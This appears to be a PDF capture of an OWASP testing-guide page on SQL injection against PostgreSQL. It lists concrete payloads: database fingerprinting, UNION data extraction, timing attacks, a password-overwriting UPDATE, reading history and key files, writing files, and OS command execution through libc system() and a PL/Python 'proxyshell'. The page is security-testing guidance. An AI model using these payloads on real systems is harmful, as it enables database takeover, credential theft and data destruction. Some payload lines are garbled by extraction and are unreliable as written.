Professional Documents
Culture Documents
11/03/15 9:34 pm
Summary
In this section, some SQL Injection techniques for PostgreSQL will be discussed. These techniques have the
following characteristics:
PHP Connector allows multiple statements to be executed by using ; as a statement separator
SQL Statements can be truncated by appending the comment char: --.
LIMIT and OFFSET can be used in a SELECT statement to retrieve a portion of the result set generated
by the query
From now on it is assumed that http://www.example.com/news.php?id=1 is vulnerable to SQL Injection
attacks.
How to Test
Identifying PostgreSQL
When a SQL Injection has been found, you need to carefully fingerprint the backend database engine. You can
determine that the backend database engine is PostgreSQL by using the :: cast operator.
Examples:
http://www.example.com/store.php?id=1 AND 1::int=1
https://www.owasp.org/index.php/OWASP_Backend_Security_Project_Testing_PostgreSQL
Page 1 of 7
11/03/15 9:34 pm
In addition, the function version() can be used to grab the PostgreSQL banner. This will also show the
underlying operating system type and version.
Example:
http://www.example.com/store.php?id=1 UNION ALL SELECT NULL,version(),NULL LIMIT 1 OFFSET 1--
Blind Injection
For blind SQL injection attacks, you should take into consideration the following built-in functions:
String Length
LENGTH(str)
Extract a substring from a given string
SUBSTR(str,index,offset)
String representation with no single quotes
CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)
Starting at version 8.2, PostgreSQL introduced a built-in function, pg_sleep(n), to make the current session
process sleep for n seconds. This function can be leveraged to execute timing attacks (discussed in detail at
Blind SQL Injection).
In addition, you can easily create a custom pg_sleep(n) in previous versions by using libc:
CREATE function pg_sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' LANGUAGE 'C' STRICT
https://www.owasp.org/index.php/OWASP_Backend_Security_Project_Testing_PostgreSQL
Page 2 of 7
11/03/15 9:34 pm
Example:
http://www.example.com/store.php?id=1; UPDATE users SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--
Attack Vectors
Current User
The identity of the current user can be retrieved with the following SQL SELECT statements:
SELECT
SELECT
SELECT
SELECT
SELECT
user
current_user
session_user
usename FROM pg_user
getpgusername()
Examples:
http://www.example.com/store.php?id=1 UNION ALL SELECT user,NULL,NULL-http://www.example.com/store.php?id=1 UNION ALL SELECT current_user, NULL, NULL--
Current Database
The built-in function current_database() returns the current database name.
Example:
https://www.owasp.org/index.php/OWASP_Backend_Security_Project_Testing_PostgreSQL
Page 3 of 7
11/03/15 9:34 pm
/store.php?id=1; CREATE TABLE file_store(id serial, data text)-/store.php?id=1; COPY file_store(data) FROM '/var/lib/postgresql/.psql_history'--
UNION ALL SELECT NULL, NULL, max(id)::text FROM file_store LIMIT 1 OFFSET 1;-UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 1;-UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 2;--
UNION ALL SELECT data, NULL, NULL FROM file_store LIMIT 1 OFFSET 11;--
pg_read_file():
This function was introduced in PostgreSQL 8.1 and allows one to read arbitrary files located inside DBMS
data directory.
Examples:
SELECT pg_read_file('server.key',0,1000);
https://www.owasp.org/index.php/OWASP_Backend_Security_Project_Testing_PostgreSQL
Page 4 of 7
11/03/15 9:34 pm
Writing to a file
By reverting the COPY statement, we can write to the local file system with the postgres user rights
/store.php?id=1; COPY file_store(data) TO '/var/lib/postgresql/copy_output'--
Shell Injection
PostgreSQL provides a mechanism to add custom functions by using both Dynamic Library and scripting
languages such as python, perl, and tcl.
Dynamic Library
Until PostgreSQL 8.1, it was possible to add a custom function linked with libc:
CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C'
STRICT
Since system returns an int how we can fetch results from system stdout?
Here's a little trick:
create a stdout table
CREATE TABLE stdout(id serial, system_out text)
executing a shell command redirecting its stdout
SELECT system('uname -a > /tmp/test')
use a COPY statements to push output of previous command in stdout table
COPY stdout(system_out) FROM '/tmp/test'
retrieve output from stdout
SELECT system_out FROM stdout
Example:
Page 5 of 7
11/03/15 9:34 pm
/store.php?id=1 UNION ALL SELECT NULL,(SELECT system_out FROM stdout ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--
plpython
PL/Python allows users to code PostgreSQL functions in python. It's untrusted so there is no way to restrict
what user can do. It's not installed by default and can be enabled on a given database by CREATELANG
Check if PL/Python has been enabled on a database:
SELECT count(*) FROM pg_language WHERE lanname='plpythonu'
If not, try to enable:
CREATE LANGUAGE plpythonu
If either of the above succeeded, create a proxy shell function:
CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return
os.popen(args[0]).read() 'LANGUAGE plpythonu
Have fun with:
SELECT proxyshell(os command);
Example:
Create a proxy shell function:
/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS import os; return
os.popen(args[0]).read() LANGUAGE plpythonu;-Run an OS Command:
/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--
plperl
Plperl allows us to code PostgreSQL functions in perl. Normally, it is installed as a trusted language in order
to disable runtime execution of operations that interact with the underlying operating system, such as open.
By doing so, it's impossible to gain OS-level access. To successfully inject a proxyshell like function, we need
https://www.owasp.org/index.php/OWASP_Backend_Security_Project_Testing_PostgreSQL
Page 6 of 7
11/03/15 9:34 pm
to install the untrusted version from the postgres user, to avoid the so-called application mask filtering of
trusted/untrusted operations.
References
OWASP : "Testing for SQL Injection"
OWASP : SQL Injection Prevention Cheat Sheet
PostgreSQL : "Official Documentation" - http://www.postgresql.org/docs/
Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool http://sqlmap.sourceforge.net
Retrieved from "https://www.owasp.org/index.php?
title=OWASP_Backend_Security_Project_Testing_PostgreSQL&oldid=179647"
This page was last modified on 31 July 2014, at 11:02.
This page has been accessed 36,635 times.
Content is available under a Creative Commons 3.0 License unless otherwise noted.
https://www.owasp.org/index.php/OWASP_Backend_Security_Project_Testing_PostgreSQL
Page 7 of 7